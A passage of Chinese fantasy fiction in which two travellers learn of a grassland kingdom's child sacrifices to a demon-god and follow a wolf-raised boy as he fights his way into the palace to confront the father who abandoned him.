草原的夜与德德镇的山夜截然不同。山夜是静的,除了风声就是虫鸣,安稳得像一床棉被。草原的夜却是动的,四面八方都是声音——远处的狼嗥,近处的草响,头顶的夜鸟扑棱棱飞过,每一声都让人心惊肉跳。
云河在一棵巨大的老树上停了下来。
那棵树不知活了多少年,树干粗得要七八个人才能合抱,树冠铺展开来,遮住半边天。她足尖一点,人已轻飘飘跃上树冠,在上面走了一圈,也不知做了什么,那些枝叶便自动交织起来,编织成一个巨大的床榻。
榻上铺满了最柔软的嫩叶,厚厚一层,踩上去软绵绵的。
“上来。”云河站在树冠边缘,居高临下地看着陈瑶瑶。
陈瑶瑶仰着头,看着那个离地面足有三丈高的床榻,艰难地咽了口唾沫。
“我、我不会飞。”
云河皱了皱眉,像是才想起这件事。她手指一勾,白骨伞从背后飞出,落在陈瑶瑶脚边,伞柄微微倾斜,像是在邀请。
陈瑶瑶犹豫了一下,伸手握住伞柄。
下一瞬,她只觉得身体一轻,整个人被一股柔和的力量托起,飘飘悠悠地往上升。风从耳边掠过,草海在脚下越来越远,那棵树越来越近——然后她的脚就踩在了软绵绵的树冠上。
云河收回伞,身形一闪,没了踪影。
陈瑶瑶小心翼翼地走到榻边,摸了摸那些嫩叶。叶子触感柔软,带着微微的凉意,比德德镇任何一床棉褥都要舒服。她学着云河的样子躺下来,仰面望着满天星斗,忽然觉得这一天的疲惫都涌了上来。
发财窸窸窣窣蹭过来,舔了舔她的脸颊。
陈瑶瑶把它抱进怀里,轻轻顺着它的毛。小家伙的皮毛又软又暖,像个小火炉,驱散了草原夜里的寒意。它舒服地眯起眼睛,喉咙里发出细细的呼噜声。
陈瑶瑶看着它,忽然轻声说:“发财,你说我要是有白骨大仙三分之一的能力就好了。那样的话,今天说不定就能帮上忙。”
发财睁开眼,黑葡萄似的眼珠望着她,像是听懂了,又像是什么都没懂。
树冠的另一边,云河忽然出现。
她换了一身简单的月白布衣,衣料不及那身蓝白纱衣飘逸,却多了几分稳重。月光落在她身上,衬得她眉眼清冷,像是从画里走出来的神女,不食人间烟火。
然后——
“饿死了,有吃的吗?”
神女开口,人间烟火瞬间扑面而来。
陈瑶瑶愣了一下,连忙从怀里掏出剩下的那颗黄色果子,双手递过去:“只有这个了。”
云河接过果子,用衣袖随意擦了擦,手指一滑,那果子便一分为三。她递给陈瑶瑶一瓣,又往发财嘴边塞了一瓣,剩下的一瓣自己咬了一口。
汁水在齿间迸开,酸甜的香气弥散开来。
陈瑶瑶小口小口地咬着果子,偷偷打量云河。
月光下,她的侧脸很安静,眉眼间的清冷淡了几分,多了些说不清的疲惫。她吃得很快,却又不显得粗鲁,三两口就把那瓣果子解决了,然后抬起袖子擦了擦嘴角。
“哎,”她忽然开口,“你识字不?”
陈瑶瑶一愣,连忙点头:“额,小时候念过几年学,大概能看懂。”
一块巴掌大的东西朝她飞过来。
她慌忙接住,低头一看,是一块石碑。石碑很旧了,边缘磨损得厉害,上面刻着密密麻麻的小字,被泥土糊住了大半。她仔细擦拭,借着月光辨认那些字迹。
原来,这里是一处叫裳国的地方。
裳国以打猎为生,国民世代居住在这片草原上,
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与野兽为伴,与风雪抗争。他们骁勇善战,崇拜山神,日子虽苦,却也自在。
直到五十年前。
那一年,草原上出现了一个魔神。
没有人知道它从哪里来,只知道它出现的那天,天崩地裂,河水倒流。它一跺脚,大地便裂开深不见底的沟壑;它一挥手,狂风便卷走成群的牛羊;它一吐气,瘟疫便在人群中蔓延。
田地被淹,房屋倒塌,百姓死伤无数。
当时的国主带着士兵抵抗了六年。
六年里,裳国的青壮年死了一大半,尸骨堆成山,血流成河。可那魔神依旧屹立不倒,每一次出现都比上一次更强大。
第六年,国主投降了。
他献出了自己的孩子。
那是一个刚满三岁的幼童,什么都不懂,只知道哭着喊爹爹。国主亲手把他送到魔神面前,跪在地上,不敢抬头看。
魔神收了那个孩子。
草原平静了整整一年。
第二年,魔神又出现了。
国主再次献祭。
这一次,他献出了自己第二个孩子,一个五岁的女孩。他与魔神签订契约,以亲子为祭,换取五十年的平安。魔神答应了。
契约的墨迹还没干透,第三年,魔神又来了。
它派来了自己的分身。
国主已经没有孩子可献了。他的王妃生了三个孩子,前两个已经献了,最后一个——刚出生的男孩——是他最后的骨血。
那一夜,国主在神像前跪了整整一夜。
第二天,他亲手把自己的小儿子送进了祭坛。
但这一次,他做了手脚。
他将魔神的分身引入自己孩子的体内,用上古的封印之术,将那个分身封在了孩子的身体里。
孩子活了下来。
但他不再是从前的他了。他的身体被魔神的分身占据,十二个器官被一一吞噬。他每天都要承受常人无法想象的痛苦,却连叫都叫不出来。
王后疯了。
她冲进王宫,指着国主的鼻子骂他畜生,骂他连自己的骨肉都下得去手。国主沉默着,一言不发。王后骂了三天三夜,最后在第四天的清晨,吊死在了祭坛前。
国主亲手把她的尸体放下来,亲手埋葬了她。
然后,他叫来一个老仆人。
“把他带到境外,”他说,“杀了。”
老仆人抱着那个孩子,走出了裳国国境。
他有没有杀,没有人知道。只知道从那以后,裳国再也没有被魔神打扰过。
但裳国也变了。
国主颁布了一道法令:所有七岁以下的孩童,都必须送往境外。等他们长到成年,才能回来。
裳国成了一个没有幼童的国家。
陈瑶瑶看完最后一个字,手在微微发抖。
“所以今天那两个孩子……”她抬起头,“被追的那个少年,就是当年那个孩子?那个被封印了魔神分身的孩子?”
云河没有回答,只是望着远处的夜空。
“可是他都过了五十年了,”陈瑶瑶算着时间,“怎么还是少年模样?他应该——应该五十多岁了才对。”
“魔神的分身在他体内,”云河淡淡开口,“长生不老,与魔同寿。”
陈瑶瑶愣住了。
她想起那个少年浑身是血的样子,想起他背上插着的镰刀,想起他被绳索勒住脖子时的沉默——那不是一个活了五十年的人该有的眼神。那是一个已经绝望太久的眼神。
“那些猎户为什么追他?”她又问,“他不是为国主封印了魔神吗?他不是裳国的恩人吗?”
“恩人?”云河转过头看她,嘴角牵起一丝笑意,那笑意却没有到达眼底,“他体内有魔神的分身。他就是魔神的化身。裳国人恨他都来不及,怎会当他是恩人?”
“可他是为了救他们——”
“那又如何?”
云河打断她,声音依旧淡淡的,却像一根针,扎进陈瑶瑶心里。
“他体内有魔神,这就是原罪。他活着一天,裳国人就想起那六年的灾难一天。他们不需要他救,他们只需要他死。”
陈瑶瑶张了张嘴,说不出话来。
月光下,她看见云河的眼神。那双眼睛很黑,很深,像是看不见底的古井。井里沉着什么东西,沉了很久很久,久到落满了灰,结了冰。
她忽然很想知道,这个看起来比自己还年轻的少女,到底经历过什么。
云河却没有再说下去。
她身边的白骨伞忽然亮了起来。
那光芒是淡蓝色的,幽幽的,像鬼火,又像萤火虫。伞面上的骨珠流苏无风自动,叮叮当当响成一片。
接着,一只白鹤从伞面上跳了出来。
那白鹤只有巴掌大小,通体雪白,长腿细颈,活灵活现。它落在云河摊开的手掌上,长长的腿跳了七跳——一下,两下,三下,四下,五下,六下,七下——然后一跃而起,又跳回了伞面,隐入骨珠之间。
蓝光消失了。
云河看着那把伞,眉头微微皱起。
“七重,”她喃喃道,“上来就这么高难度吗?”
陈瑶瑶听得一头雾水:“啊?什么七重?”
云河没有立刻回答。她把伞背到身后,站起身,伸了个懒腰。月光勾勒出她的轮廓,衣袂在夜风中轻轻飘动,那身月白的布衣,竟比先前的纱衣更像仙人的衣裳。
她转过头,看着陈瑶瑶。
“你不是想救那两个孩子吗?”
陈瑶瑶一愣,连忙点头。
云河嘴角微微翘起,那笑意里带着一丝无奈,一丝认命,还有一丝说不清的东西。
“我接到任务了。”
她说完,抬头望向远处的夜空。
陈瑶瑶顺着她的目光望去,只见天边隐隐有火光跳动。那火光很远,很小,像是谁家在夜里生起的篝火。可她心里知道,那不是篝火。
那是裳国的方向。
怀里,发财呜咽了一声,把脑袋往她怀里拱了拱。
陈瑶瑶抱紧它,忽然想起德德镇的那些夜晚。想起她娘抱着她,一下一下拍着她的背,说“瑶瑶不怕,娘在”。
她不怕。
她已经不是那个被关在祠堂偏院里、只能把脖子伸进腰带里的陈瑶瑶了。
她抬起头,看着云河的背影。
月光下,那个背影瘦削而挺拔,像是在替她,也像是在替她自己,撑着这一片天。
“白骨大仙,”她轻声问,“我能帮你做什么?”
云河回过头。
那一瞬间,她的眼里有光闪过。很淡,很轻,像是夜空中一闪而逝的流星。
“先把那瓣果子吃了,”她说。
陈瑶瑶低头,发现自己手里还攥着那瓣果子,攥得都快出水了。
她咬了一口。
酸甜的汁液在口中迸开,像这茫茫草原上的夜风,带着青草的气息,带着未知的明天。
远处,裳国的火光跳动着。
近处,发财在她怀里打着小呼噜。
头顶,万千星辰静静流淌。
陈瑶瑶咽下那口果子,忽然笑了。
这就是万境之外的世界吗?
她想,她有点喜欢上这里了。
3. 裳国童祭(二)
陈瑶瑶这辈子没跳过崖。
但她跳了。
跳下去的那一瞬间,她脑子里只有一个念头:我一定是疯了。
风在耳边呼啸,像无数只手在撕扯她的脸。水雾扑面而来,打得她睁不开眼。瀑布的轰鸣声震得她耳膜生疼,那声音不是水,是千万面鼓同时在耳边擂响。她拼命想抓住什么,可四周空空如也,只有急速下坠的身体和越来越近的水面——那水面在阳光下泛着幽蓝的光,深不见底,像一只张开的巨口。
然后她想起一件事——
她不会游泳。
这个认知让她在坠落的过程中发出了一声凄厉的尖叫:“云——河——救——命——啊——”
话音未落,一只手下意识地往上一抓。
抓到了。
一把柔软的东西。
那是头发。
很长很长的头发。
云河的头发。
那一瞬间,陈瑶瑶脑子里闪过第二个念头:我完了。
下一瞬,三个人——不对,两个人加一只被临时抛上岸的狗——以不同的姿势扎进了瀑布下的深潭里。
水花炸起三丈高。
陈瑶瑶感觉自己的身体被一股巨大的力量拍进水里,冰冷瞬间包裹了她。耳朵里嗡嗡作响,眼前一片混沌的蓝绿。她本能地张嘴想呼吸,却灌进一大口水,呛得她肺都要炸了。
她在水里胡乱扑腾,手脚都不听使唤,只知道往上有光的地方挣扎。可身体像绑了石头,一直往下沉,往下沉——
一只手忽然抓住了她的后领。
那只手力道极大,像拎小鸡一样把她往上一提。她的脑袋冲出水面,阳光刺得她睁不开眼,她剧烈地咳嗽起来,咳得眼泪鼻涕一起流。
“咳、咳咳咳——”
“别动。”
云河的声音从头顶传来,带着一种奇异的平静。那平静里没有惊慌,没有愤怒,甚至没有方才跳崖时的叹息,只有一种“事已至此那就这样吧”的麻木。
陈瑶瑶乖乖不动了。
她感觉自己被那只手拖着,往岸边游去。水流很急,好几次差点把她们冲散,但那只手始终稳稳地抓着她,像铁钳一样。
不知过了多久,她的脚终于踩到了实地。
半个时辰后。
悬崖下的水潭边,瀑布依旧轰鸣,水雾弥漫如烟。阳光从水帘的缝隙里透进来,在湿漉漉的岩石上投下斑驳的光影,那些光影随着水波的晃动轻轻摇曳,像是活的。
云河坐在一块被水冲刷得光滑如镜的青石上,面无表情地拧着衣服。
月白色的布衣湿透了,紧紧地贴在身上,勾勒出单薄的肩线和纤细的腰身。水顺着衣摆往下淌,在脚边汇成一小滩,又顺着岩石的纹路流下去,滴答滴答落进潭水里。她的头发也湿透了,原本高高束起的长发散落下来,披了满肩,发梢还在滴水,水珠顺着发丝滑落,在阳光下闪着细碎的光。
她拧一下,水哗啦一声。
再拧一下,水又哗啦一声。
表情很平静。
眼神很空洞。
像是灵魂已经离开了身体,去往了某个没有瀑布、没有深潭、没有被人拽着头发一起跳崖的极乐世界。
不远处的另一块石头上,陈瑶瑶正费力地拧着自己的衣摆。
她的情况比云河还惨。那一身从死尸身上扒下来的猎户装本就不合身,此刻湿透了更是沉甸甸的,压得她肩膀生疼。粗布吸饱了水,硬得像铁板,她拧了半天,也只拧出一小摊水。她一边拧一边哆嗦,牙齿打着颤,话都说不利索:
“小小年年纪……体体力居然这这么厉害……好冷……大仙你冷吗……我我给你生火吧……”
没人回答。
陈瑶瑶抬起头,看见云河那张生无可恋的脸,心里咯噔一下。她顺着云河的目光看去,看见了瘫在另一块石头底下的少年。
无名。
他还昏迷着,脸色苍白如纸,嘴唇毫无血色,乌青的血管在薄薄的眼皮底下清晰可见。背上的伤口被水泡得发白,边缘翻卷着,却已经不流血了。他蜷缩在那里,像一只被遗弃的幼兽,眉头紧锁,嘴唇微微翕动,似乎在做什么噩梦,又像是在呓语着什么。
陈瑶瑶的目光又往下移,看见了钉在他周围的那十八支红尾飞镖。
那些飞镖整整齐齐地围成一个圈,将少年困在中央。镖身没入岩石,只露出半截红艳艳的尾羽,像是十八朵盛开的花,又像是十八簇燃烧的火苗。它们在风中轻轻颤动,发出细微的嗡嗡声,像是在警告:别靠近,别触碰。
这是落水前云河甩出去的。
落水前——对,落水前——
陈瑶瑶的脑子里忽然闪过一个画面:悬崖边,少年转身看见她,眼里迸发出惊恐与愤怒——还有一丝深入骨髓的恨意——然后他毫不犹豫地纵身一跃。她伸出手想抓住他,结果自己也跟着栽了下去。下坠的瞬间,她胡乱一抓,抓到了云河的头发——
她僵住了。
僵了足足三息。
然后她缓缓转过头,看向云河。
云河依旧在拧衣服,只是拧的力道明显加重了,水哗啦哗啦地往外飙,像是要把她的骨头也一并拧出来。那块可怜的布料在她手里扭曲变形,发出不堪重负的咯吱声。
陈瑶瑶艰难地咽了口唾沫:“那、那个……大仙……”
云河淡淡扫过来一眼。
那一眼很淡,淡得像白开水,但陈瑶瑶硬是从里面读出了千言万语——你还有脸说话?你知不知道你干了什么?我的头发!我养了三年的头发!你知道每天要用多少花凝露吗!你知道梳头的时候掉一根我都心疼半天吗!你倒好,一把薅下去,我头皮现在还麻着!
陈瑶瑶缩了缩脖子。
“我没名字?”
云河开口了,声音也是淡淡的,淡得听不出情绪。
陈瑶瑶一愣,反应过来,连忙摆手:“不是不是,我这不是怕冒犯嘛——您这么厉害的人物,叫名字多不恭敬——”
云河没说话,信手指了指瘫在石头底下的少年。
“去冒犯他。我这不用你管。”
她顿了顿,又补了一句:“拴紧了,这次再跑就抓不到了。”
陈瑶瑶看了看无名,又看了看自己这狼狈不堪的样子,忽然觉得自己好像被嫌弃了。
可她又说不出哪里不对。
时间往回拨一个时辰。
悬崖边,风很大。
云河站在崖顶,俯瞰着下方的万丈深渊。她的衣袂被风吹得猎猎作响,长发在身后飞扬,衬得她整个人像一只即将起飞的鹤。发财蹲在她脚边,两只大耳朵被风吹得翻来覆去,像两面小旗子,它不得不时不时地用爪子按一按,以免耳朵被吹飞。
“确定是这儿?”云河问。
发财呜呜两声,使劲点头,鼻子往崖下指了指。
云河嗯了一声,回头看了一眼身后气喘吁吁的陈瑶瑶。
“那孩子的踪迹到此为止。下面应该是条河,他顺着水流跑了。”
陈瑶瑶扶着膝盖喘气,脸上汗水和泥巴糊成一片。闻言抬起头,眼睛亮了一下:“那我们怎么下去?”
“飞下去。”
陈瑶瑶眼睛更亮了:“你会飞?”
“我不会。”云河指了指身后的白骨伞,“但它会。”
陈瑶瑶正想问“怎么飞”,忽然听见一阵窸窸窣窣的声音。她循声望去,只见不远处的灌木丛里钻出一个人影。
是那个少年。
他浑身湿透,像刚从水里捞出来。身上的伤口被水泡得发白,还在往外渗血。他的步伐踉跄,每走一步都要停一停,身体摇摇晃晃,像随时会倒下。可他固执地往一个方向走,那个方向——陈瑶瑶顺着他的目光看去,是草原深处,是裳国王城的方向。
陈瑶瑶脱口而出:“在那儿!”
少年猛地回头。
那一瞬间,陈瑶瑶看见了他的眼睛。
那双眼睛很黑,很亮,像狼的眼睛。可那眼神里没有狼的凶狠,只有一种深入骨髓的警惕和恐惧。那是一个被追杀了太久太久的人才会有的眼神——看见任何人,都先当成敌人。
他的目光落在陈瑶瑶身上,瞳孔骤然收缩。
陈瑶瑶愣住了。
她低头看了看自己——那一身从死尸身上扒下来的猎户装,灰扑扑的粗布,腰缠兽皮,脚蹬草鞋,活脱脱一个裳国猎户。那死尸的体型比她大,衣服穿在身上空荡荡的,风一吹就鼓起来,像个滑稽的稻草人。
可她现在的样子,一点都不滑稽。
她张了张嘴,想解释什么。
少年却已经转身。
他用尽最后的力气,朝悬崖边冲去。
“等等——我不是——你别——”
陈瑶瑶急了,拔腿就追。可她哪里追得上一个拼死逃命的人?她眼睁睁看着少年跑到崖边,毫不犹豫地纵身一跃——他的身影在空中划过一道弧线,然后消失在崖下。
然后她脑子里一片空白。
身体先于意识动了。
她扑过去想抓住他,只抓住了他的一片衣角。
那片衣角湿漉漉的,滑腻腻的,从她手心里一点点滑脱——她死死攥着,指节发白——然后她被那片衣角带着,一起栽了下去。
下坠的那一瞬间,她听见身后传来一声几不可闻的叹息。
那叹息里带着三分无奈、三分认命,还有四分“我就知道会这样”的麻木。
紧接着,一只修长的手从身后探过来,想抓住她的肩膀。
陈瑶瑶下意识地往上一抓。
抓到了。
一把柔顺的长发。
“嘶——”
身后传来倒吸凉气的声音,是云河。
然后她感觉那只手改了方向,有什么东西被她用力抛上了岸——是发财,带着一声凄厉的呜咽,划过一道抛物线,消失在崖顶。
再然后,三个人一起扎进了冰冷的潭水里。
无名醒来的时候,第一眼看见的是十八支红尾飞镖。
那些飞镖钉在他周围的岩石里,离他的身体只有不到三寸的距离。镖身没入岩石,只露出半截红艳艳的尾羽,在风中轻轻颤动,像是随时会再往前推进三寸。
他没动。
他只是静静地看着那些飞镖,眼里没有恐惧,只有一种奇怪的平静。
那是一种死过一次的人才会有的平静。
“醒了?”
一个声音从头顶传来。
他抬起头,看见一个穿着月白布衣的女子站在不远处。她的头发还是湿的,披散在肩上,衬得那张脸愈发苍白,像一朵被雨打湿的梨花。她手里拿着一个玉瓶,正往一只奶黄色的小兽身上滴着什么,那神态专注而温柔,与方才甩出飞镖时判若两人。
她的身后,还站着一个穿着不合身猎户装的少女。那少女见他醒来,眼睛一亮,快步走过来,又在他周围三步远的地方停住,像是怕惊着他。
“你醒了?感觉怎么样?伤口还疼不疼?你——”
“瑶瑶。”
月白衣的女子头也不回地打断她,“让他说话。”
陈瑶瑶讪讪地闭上嘴。
无名看着她,沉默了很久。
他有很多年没和人说过话了。在狼群里,他用嚎叫和肢体交流。后来跟踪那些猎户,他只是远远地看着,从不靠近。再后来遇见了螺螺,那孩子话也很少,两个人常常一整天不说一句话。
他不知道该怎么和人说话。
可这个少女的眼睛里,有一种他从未见过的东西。那不是恐惧,不是厌恶,不是猎人们看猎物时的贪婪,也不是裳国人看“魔神之子”时的畏惧。那是什么?他不知道。
但他开口了。
声音沙哑得像砂纸磨过石头,像很久很久没有用过的人的语言:
“我叫无名。”
这个名字很怪。但更怪的是他说这句话时的神情——不是自我介绍,而是像是在陈述一个与自己无关的事实。
他确实是在陈述一个与自己无关的事实。
他是被野狼养大的。
五十年前,那个老仆人抱着他走出裳国国境。老仆人在深山老林里走了三天三夜,最后在一棵老树下停住。他把怀里的孩子放在树下,跪下来磕了三个头,说:“小殿下,老奴对不起你。可这是国主的命令,老奴不敢违抗。你、你若是命不该绝,自会有人救你。”
然后他走了。
那个刚被封印了魔神分身的幼童,躺在枯叶堆里,身上十二个器官正在被一一吞噬。那种疼不是刀割的疼,不是火烧的疼,而是有什么东西在身体里一点点啃噬、一点点撕咬的疼,疼得他连哭都哭不出来,只能蜷缩成一团,像一只被遗弃的幼兽,等死。
是野狼救了他。
一头刚失去幼崽的母狼发现了他。她围着他转了好几圈,嗅了又嗅,最后用鼻子把他拱到自己怀里,用自己的奶喂他,用自己的皮毛暖他,用自己的舌头舔他的伤口。
他在狼群里长大。
他与狼同食,与狼同眠。他学会了用四肢奔跑,学会了用牙齿撕咬,学会了用嚎叫呼唤同伴。他忘记了人的语言,忘记了人的习惯,甚至忘记了自己曾经是人。狼群就是他的家人,那头老母狼就是他的母亲。
直到三个月前。
那天,他正和狼群一起追逐一头野鹿。初冬的风已经带了寒意,吹得草叶沙沙作响。野鹿跑得很快,可狼群跑得更快,眼看就要追上了——
他忽然闻到了一股味道。
血腥味。
很浓的血腥味。
那不是野鹿的血,是狼的血。
他停下来。
狼群也停下来。它们都闻到了。
他转身,朝血腥味传来的方向狂奔。
他跑过山谷,跑过溪流,跑过那片他从小玩耍的草地。然后他看见了——
一地的狼尸。
他的狼群。
他的母亲。
那头老母狼躺在地上,浑身是血,眼睛还睁着,望着他来的方向。她的皮已经被剥去了一半,露出下面血红的肌肉和白森森的骨头。她的身边围着十几个猎户,正用镰刀继续剥她的皮,一边剥一边笑,笑声在山谷里回荡。
无名站在那里,一动不动。
他不记得那一刻自己在想什么。也许什么都没想。也许想了太多,脑子一片空白。
他只记得自己扑了上去。
用牙咬,用爪撕,用身体撞——他用从狼那里学到的一切,与那些拿着镰刀和猎叉的人搏斗。他不知道自己杀了几个,也不知道自己受了多少伤,只知道最后他抱着母狼的尸体,逃进了深山。
他在山里埋了她。
然后用石头在坟前堆了一个小小的标记。
那是他五十年来的第一件人事。
从那以后,他开始跟踪那些猎户。他学会了穿衣服,学会了用武器,学会了一个人该有的所有东西。他找到机会,杀了那几个剥狼皮的猎户。
然后,他的身份暴露了。
裳国人认出了他——那个五十年前被送走的“魔神之子”。他们开始追捕他,要把他抓回去,献给即将归来的魔神。
“等等,”陈瑶瑶忍不住打断,“献给魔神?你不是封印了魔神的分身吗?不是他们的恩人吗?”
无名看着她,眼里没有波澜。
“我体内有魔神的分身。他们需要这个分身,来与归来的魔神谈判。”
陈瑶瑶愣住了。
云河不知何时走了过来,站在她身侧,淡淡开口:“那个跟着你的小孩呢?他叫什么?”
无名的眼神动了动。
那眼神里第一次有了一丝温度。
“螺螺。”
螺螺不是他的本名。
他被人发现的时候,刚出生不久,被丢在一片水田里。六月的天,水田里热得像蒸笼,到处都是螺蛳,爬了他满身满手。捡到他的农户是个鳏夫,妻子死了,没有孩子。他把他从田里抱起来,用衣襟擦干净他脸上的泥巴,说:“这孩子满身螺蛳,就叫螺螺吧。”
农户把他当亲生儿子养。
喂他米汤,教他说话,给他做衣服。冬天的时候,父子俩挤在一床破棉被里取暖;夏天的时候,农户带他去田里捉泥鳅,教他认哪些野果能吃,哪些有毒。螺螺三岁那年,农户被征了兵。走之前他蹲下来,摸着他的头说:“爹去打猎,打完了就回来,你在家乖乖的。米缸里还有半缸米,山后有野果,渴了喝溪水,别乱跑。”
螺螺等了三年。
三年后,有人带回来一堆破烂的衣物,说是他爹的。被野兽咬死的。尸首都没能抢回来。
螺螺那时候六岁。
六岁的孩子,在裳国是要被送走的。他应该被送到境外,等成年才能回来。官府的人来找他,要带他走。
螺螺跑了。
他躲在山里,躲在树上,躲在一切能躲的地方。他学会了爬树,爬得比猴子还快;学会了设陷阱,用藤蔓和树枝做成简单的机关,能套住野兔;学会了用渔网抓鱼,那种大网的用法是一个老猎户教过他爹的,他爹又教给了他。
他像一只野猴子一样活着。
饿了就摘野果,渴了就喝露水,冷了就和野兽挤在一起取暖。他见过熊,见过野猪,见过狼——他远远地躲着它们,从不靠近。
直到三个月前,他遇见了无名。
那天,他正在树上蹲着,看一窝刚出壳的小鸟。鸟妈妈飞来飞去地喂食,小鸟们张着嫩黄的小嘴,叽叽喳喳地叫。他看得入了神,忘了自己在树上蹲了多久。
忽然听见下面有动静。
他低头一看,是一个人倒在树根下,浑身是血,奄奄一息。
螺螺在树上蹲了半个时辰。
他看那个人一动不动,血还在往外流,把身下的草都染红了。他想走,可不知道为什么,腿迈不动。
最后他还是爬下来了。
他小心翼翼地凑过去,蹲下来看那个人。
那个人忽然睁开眼,看了他一眼。
那一眼让螺螺想起了他爹临走前的眼神——什么都不说,却又什么都说了。
他把那个人拖进了一个山洞。
用自己采的草药给他敷伤口,用自己的存粮喂他吃,用自己的破衣服给他擦血。他不知道那个人是谁,不知道他从哪里来,不知道他为什么受伤。他只知道,那个人需要他。
就像他爹需要他一样。
后来,他知道了那个人的名字——无名。
知道了他的身世——被狼养大的孩子。
知道了他在做什么——找那些猎户报仇。
螺螺没有问为什么。
他只是默默地跟在他身后,帮他望风,帮他设陷阱,帮他在被人追捕的时候想办法脱身。
那天的渔网,就是螺螺的杰作。
裳国的王城在草原的尽头。
那是一座用巨石垒成的城池,城墙高耸,城头插满了旌旗。风吹过,旌旗猎猎作响,像无数只手在挥舞。城门日夜敞开,进出的百姓络绎不绝,有赶着牛羊的牧人,有挑着担子的商贩,有背着孩子的妇人,像是什么事都没发生过。
没有人知道,那个被追杀了三个月的少年,此刻正站在城门口。
他穿着一身不合身的粗布衣裳,是云河从某个农户家“借”来的。螺螺跟在他身后,脏兮兮的小脸上没有表情,眼睛却四下打量着,像一只警惕的幼兽,随时准备逃跑。
更远一点的地方,云河撑开白骨伞,伞面上的骨珠流苏哗啦啦响成一片。她持伞在空中虚画一圈,一道淡蓝色的光圈凭空出现,将她和陈瑶瑶罩在其中。
“为什么不直接进去?”陈瑶瑶小声问。
“因为任务要求他自己拿回身体,”云河淡淡道,“我们只能旁观,不能插手。”
“可他有伤——”
“死不了。”
陈瑶瑶闭上嘴。
无名回头看了一眼,像是知道她们在那里。然后他收回目光,迈步走进了城门。
闯关开始了。
第一关是城门守卫。
八个身披铠甲的士兵站在城门口,检查来往的行人。他们看见了无名——一个浑身是伤、面色苍白的少年,独自一人走来。
为首的士兵伸出手:“站住。从何处来,往何处去?”
无名没有说话,只是抬起了头。
士兵看清了他的脸。
那张脸,和五十年前王宫里挂着的画像一模一样——那是国主小儿子的脸,那个被封印了魔神分身的孩子的脸。
“是那个魔神之子!”
刀剑出鞘的声音响成一片,寒光闪闪。
无名没有后退,反而往前走了一步。
一步之后,八个人全倒下了。
没有人看清他做了什么。
第二关是王宫外的演武场。
那里等着他的是三十个训练有素的禁军,手持长矛,列成方阵。矛尖如林,在阳光下闪着寒光。他们是王宫最精锐的守卫,个个身经百战,杀人无数。
无名走进去。
三十息后,他走出来。
身上的衣服多了几道口子,但没有一滴血是他的。
第三关是王宫正殿外的台阶。
台阶很长,有一百零八级。每一级上都站着一个武士,手持不同的兵器——刀、枪、剑、戟、斧、钺、钩、叉,十八般兵器,样样俱全。他们穿着不同颜色的战袍,从下往上,赤橙黄绿青蓝紫,像一道彩虹铺在台阶上。
无名踏上第一级台阶。
一个持刀的武士冲上来,刀光一闪,劈向他的脖颈。
无名人已掠过他身边,继续往上走。那个武士保持着劈砍的姿势,一动不动——然后缓缓倒了下去。
一个持枪的武士刺过来,枪尖如蛇,直取他的心口。
无名侧身让过,脚步不停。枪尖擦着他的衣襟划过,刺了个空。
一个持斧的武士劈下来,斧风呼啸,带着千钧之力。
无名低头躲开,又上了一级。斧头劈在他身后的台阶上,碎石四溅,炸开一个深坑。
他走得不快。
但每一步都稳稳的。
那些武士像是纸糊的一样,碰着就倒,挨着就飞。他们的兵器砍不到他,他们的拳脚打不着他,他们甚至看不清他是怎么出手的。只见他的身影在人群中穿梭,像一道灰色的闪电,所过之处,人仰马翻。
一百零八级台阶,他走了一炷香的时间。
走到尽头的时候,他身上的伤口全裂开了,血顺着衣摆往下滴,在白玉台阶上留下一串殷红的脚印。那些脚印在阳光下触目惊心,像一朵朵盛开的红梅。
可他脸上没有痛苦,只有一种奇怪的平静。
第七关。
王宫正殿。
殿门大开,里面灯火通明。烛光摇曳,照得殿内一片辉煌。金柱盘龙,玉阶铺锦,熏香缭绕,钟磬齐鸣。
一个穿着王袍的男人坐在高高的王座上,看着他。
“你来了。”
国王的声音苍老而疲惫,像是等了很久很久,等得头发都白了,等得脊背都弯了。
无名站在殿门口,没有进去。
他看着那个高高在上的男人,看着那张与他有几分相似的脸——同
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样的眉眼,同样的轮廓,只是多了皱纹,多了沧桑,多了岁月刻下的痕迹。
他的眼里没有恨意,没有爱意,什么都没有。
“我知道你会来的。”国王继续说,声音在空旷的大殿里回荡,“契约到期了,魔神要回来了。只有你体内的分身,能与它抗衡。”
无名没有说话。
“这些年来,我没有一天不在想你。”国王的声音开始颤抖,像是压抑了太久的情绪终于找到了出口,“你是我的儿子,我唯一的儿子。当年的事——我没有选择。”
无名终于开口了,声音沙哑:“你没有选择?”
“我是裳国的王!”国王站起身,声音陡然拔高,在殿内激起一阵回响,“我要对千千万万的百姓负责!魔神来了,我不献祭,死的就是所有人!你懂吗?”
无名沉默。
“你母后她——她怪我,我知道。”国王的眼泪流了下来,顺着苍老的面颊往下淌,滴在王袍上,洇出一小块深色,“她至死都在怪我。可她不懂,我做这一切都是为了裳国,为了百姓!难道我不想护住自己的孩子吗?难道我不心疼吗?可我能怎么办?我能怎么办?!”
他从王座上走下来,一步一步走向无名。他的脚步有些踉跄,像是一个老人该有的样子,和刚才那个高高在上的国王判若两人。
“孩子,这些年你受苦了。”他走到无名面前,伸出手,想要抱住他,“父王对不起你。现在你回来了,回来就好。你想要什么,父王都给你。最高的待遇,最好的住处,最尊贵的身份——整个裳国,都是你的。”
无名没有躲。
但他也没有动。
他只是低头看着国王的脚。
那双脚穿着金丝绣成的履,踩在地上,踩在一张毛茸茸的毯子上。
那是狼皮。
一整张的狼皮。
“我不信。”
螺螺的声音忽然响起。
他不知何时走到了无名身边,看着大殿里的一切。长桌上摆满了美食——烤乳猪、烧全羊、炖鹿肉、蒸熊掌,各色点心琳琅满目,热气腾腾,香气扑鼻。那香气飘过来,勾得人肚子咕咕叫。
可螺螺只是看着墙上挂着的那些东西。
那些都是野兽的头颅。
老虎的头,张着血盆大口,獠牙森森。熊的头,闭着眼睛,像是睡着了。野猪的头,长长的獠牙弯成弧形。鹿的头,犄角分叉,像一株枯树。还有狼的头,狐狸的头,獾子的头,兔子的头——一个个被剥了皮,掏空了血肉,只剩下干瘪的皮毛和空洞的眼眶,密密麻麻地挂满了整面墙。他们的眼睛都不在了,可螺螺觉得他们都在看着自己。
每一颗头颅下面,都挂着一块木牌,写着猎者的名字和日期。
螺螺在一颗野狼的头颅前站住了。
那颗狼头的皮毛是灰褐色的,耳朵缺了一块,眼睛的位置只剩下两个黑洞。它的嘴微微张着,露出几颗尖牙,像是在临死前发出最后一声嚎叫。
它下面挂着的木牌上,写着一个名字。
